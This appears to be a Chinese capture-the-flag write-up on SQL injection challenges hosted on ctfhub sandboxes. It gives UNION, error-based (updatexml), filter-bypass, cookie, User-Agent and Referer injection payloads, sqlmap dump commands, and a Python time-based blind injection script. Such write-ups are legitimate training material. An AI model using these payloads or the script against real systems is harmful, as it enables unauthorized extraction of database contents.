关键字/语句/函数 解释
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
整数型注入
1.输个1,回显有两列。
2.判断列数
1 order by 1,2,3
1 order by 1,2
3.报当前的数据库,发现数据库为sqli,为什么是-1,id要等于不存在的一个数字.
-1 union select 3,database()
4.报所有的数据库
-1 union select 3,group_concat(schema_name) from information_schema.schemata
5.根据报出的数据库,报表名字
-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”
6…知道了表flag,去报字段,报出flag的字段。
-1 union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”
7.当报出字段,可以直接查询数据。
-1 union select 3,group_concat(flag) from sqli.flag
字符型注入
1.输个1
发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合
id=1’ and ‘1’=‘1 正常回显
id=1’ and ‘1’=‘2 返回错误
我们可以用#闭注释掉单引号,输入1’ and 1=1#,正常回显
2.判断列数
1’ order by 3#
1’ order by 2#
3.报当前的数据库
-1’ union select 3,database()#
4.报当前所有的数据库
-1’ union select 3,group_concat(schema_name) from information_schema.schemata#
5.报表名
-1’ union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”#
6.字段名
-1’ union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”#
7.查询数据
-1’ union select 3, group_concat(flag) from sqli.flag#
报错注入
百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入最常用到的三种报错注入方式分别是:updatexml()、floor()、extractvalue()。
updatexml()语法:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
updatexml的报错原理:
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。
使用updatexml报错注入固定格式:
payload:?id=a'and(updatexml("anything",concat('~',(select语句())'~'),"anything"))
concat()函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据
输个1
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
查数据库
1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
查表
1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"),0x7e),1));
字段
1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“flag”),0x7e),1));
直接查数据
1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1));
就出来了
MySQL结构
1.判断注入类型
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
所以是数字型注入
2.判断回显点位
输入1 order by 2有回显
-1 union select 1,2
回显点位为1,2
3.查数据库名
-1 union select database(),2
4.查表
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=“sqli”
5.查字段名
-1 union select group_concat(column_name),2 from information_schema.columns where table_name=“gunqeizaat”
6.爆值
过滤空格
绕过空格过滤的方式: /**/、()、%0a。
我们这里就用/**/
1/**/order/**/by/**/2
判断回显位
1/**/union/**/select/**/1,2
查数据库:
-1/**/union/**/select/**/database(),2
查表:
Cookie注入
burpsuite抓包,可以看到Cookie里面有id参数
1.判断注入类型
id=1
数字型
2.判断字段数
当id=1 order by 2 时回显正常,当id=1 order by 3时无回显,所以字段数为2
3.爆数据库名
id=-1 union select 1,database()
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021020320465779.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70
4.爆表名
id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=“sqli”
5.爆字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“dnsehhpdvg”
6.爆值
id=-1 union select 1,group_concat(cdciinqukz) from dnsehhpdvg
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KforYPxU-1612423099536)(https://img-blog.csdni首先检测是否有cookie注入mg.cn/2021020320531811.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)]
sqlmap
在sqlmap中使用cookie注入,level >=2才行
首先检测是否有cookie注入
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2
存在Cookie注入
1.查库
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 --dbs
2.查表
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” -D sqli --tables
3.查字段
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta --columns
4.爆值
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta -C wbloxpuwcu --dump
UA注入
语句和上面一样
sqlmap
在sqlmap中lever>=3才会去检查user-agent头是否存在注入漏洞
sqlmap.py -u “http://challenge-532573947dea4d7b.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3
1.爆数据库
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 --dbs
2.爆表
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli --tables
3.爆字段
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd --columns
4.爆值
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd -C mgrbaiuvpa --dump
Refer注入
补充Referer头
后面和上面一样
sqlmap
伪造http请求中的referer,level>=3时,sqlmap尝试referer注入
首先检测是否有Refer注入
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3
1.爆数据库
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 --dbs
2.爆表
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli --tables
3.爆字段
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi --columns
4.爆值
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi -C vzbmlruwwt --dump
布尔盲注
盲注的一般步骤:
确定闭合方式:1
获取数据库名:sqlmap.py -u 环境链接 –dbs
时间盲注
和上面一题类似
脚本:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import sys
import time
session=requests.session()
url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
name = ""
for k in range(1,10):
for i in range(1,10):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
#数据库名
payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#表名
#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
#字段名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
start_time=time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)
#查询字段内容
for i in range(1,50):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)